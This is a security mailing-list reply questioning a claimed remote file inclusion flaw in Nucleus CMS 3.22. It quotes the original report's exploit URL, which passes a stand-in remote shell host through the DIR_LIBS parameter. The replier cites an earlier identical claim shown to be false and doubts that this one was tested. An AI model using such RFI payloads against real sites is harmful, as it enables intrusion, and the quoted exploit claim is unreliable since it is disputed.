Re: nucleus 3.22 >> RFI

[security curmudgeon <jericho@xxxxxxxxxxxxx>]

: VENDOR :http://nucleuscms.org/
: BY : s3rv3r_hack3r (hackerz.ir admin)
: bug:
: nucleus3.22/nucleus/plugins/skinfiles/index.php       = include($DIR_LIBS . 
'PLUGINADMIN.php');
: Exloit: 
: http://victim/nucleus/plugins/skinfiles/index.php?DIR_LIBS=http://shell

I haven't examined the source code to this, but on June 16, 2006, 
gamr-14@xxxxxxxxxxx disclosed RFI vulnerabilities [1] in four Nucleus 
scripts, all with the DIR_LIBS variable as the injection point. This was 
subsequently proven to be a false report as the variable was previously 
set and could not be manipulated by an attacker.

Have you actually tested this, or is this based on a quick grep of the 
source code?


- jericho

[1] http://archives.neohapsis.com/archives/bugtraq/2006-06/0321.html